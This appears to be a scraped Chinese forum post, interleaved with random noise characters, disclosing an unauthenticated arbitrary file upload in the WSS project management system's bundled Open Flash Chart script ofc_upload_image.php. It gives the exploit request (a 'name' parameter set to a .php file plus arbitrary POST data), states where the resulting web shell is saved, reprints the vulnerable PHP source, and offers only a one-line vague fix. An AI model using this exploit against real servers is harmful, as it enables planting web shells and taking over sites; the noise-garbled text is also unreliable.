WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
: u& l% v/ n9 W, D3 m4 v 漏洞文件/chart/php-ofc-library/ofc_upload_image.php
; T/ ]1 G: Y2 F; Z
0 r* H7 M0 I9 Z4 I利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
+ E. ^$ W. \6 J( ^/ U
. W3 Y- B9 l6 X, fPost任意数据
保存位置http://localhost/chart/tmp-upload-images/hfy.php

! b7 M4 Y" n: I- k! v
, c$ ?$ ~1 Z' m) h1 v最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

) f8 W2 `" P7 o& N3 n4 Q<?php

0 F4 O  U4 ]; x: |9 r! I//
% ?0 `2 e' N+ s  O6 Y// In Open Flash Chart -> save_image debug mode, you
" ^6 c5 \7 o' u, y// will see the 'echo' text in a new window.
//
" v8 x' \, o" ~9 q
/*

$ Z! B# w7 q  m2 hprint_r( $_GET );
print_r( $_POST );
print_r( $_FILES );

: {) I& `# e* U6 ]) wprint_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
$ G% E/ ~- h4 K, g, k/ M
*/
// default path for the image to be stored //
3 N3 N" a% Y2 }+ y; `- |. v5 N$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 f, e+ x; _+ k* y( y
// full path to the saved image including filename //
8 W# D, S* Z$ _$ g$destination = $default_path . basename( $_GET[ 'name' ] );

5 {1 T: p: i3 @0 recho 'Saving your image to: '. $destination;
// print_r( $_POST );
// print_r( $_SERVER );
2 _- ?2 A7 g- v" a' ]// echo $HTTP_RAW_POST_DATA;
1 I& t6 t8 A- `: z7 j. a
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
: z1 w+ e4 o# f) g4 X  p4 F// the raw bits into $HTTP_RAW_POST_DATA
//

$jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);
8 N5 x3 V! d% K' \& y
. {  U( h6 ~7 J7 C+ ?5 W/ I$ B//
// LOOK:
//
exit();
//
// PHP5:
//
) D6 t; z+ a, o9 |: _' L
- I: {( {. Y. @6 |. a5 m2 }) c
: t* f2 h) i2 w// default path for the image to be stored //
  u2 U7 g( G9 n9 \) j: r# r$default_path = 'tmp-upload-images/';
/ T. \* |" n% o
+ E3 q* w: ]4 K  s7 W2 F! r6 vif (!file_exists($default_path)) mkdir($default_path, 0777, true);
$ @" S; q! I3 M- g
// full path to the saved image including filename //
% f/ `7 I, Y- t+ g# z$ \8 Y$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
8 ]* f5 V+ X  w# z) }0 |    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
6 W: Z; R, w2 _0 h0 g} else {
) l, Q9 n: S7 f    echo "FILE UPLOAD FAILED";
}
# r8 \& G  i6 E* b
! a- P  j0 a& R& E" v0 P
& N$ P* K3 P# U( z; Y4 ?  Y+ W?>

9 [! _' T& {1 V' y: }3 T
$ E) W4 P5 Q( {- z5 F, y
& N7 @, [8 B/ ^8 S; o


1 r8 ?: r! w. k6 {修复方案：
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
1 t# q& O) k; B6 X) P) b
+ {" ~- p) o8 P  ]
" j( Y* H) Q9 b$ {& i" o

$ _8 m! B+ e1 `0 s: s4 Y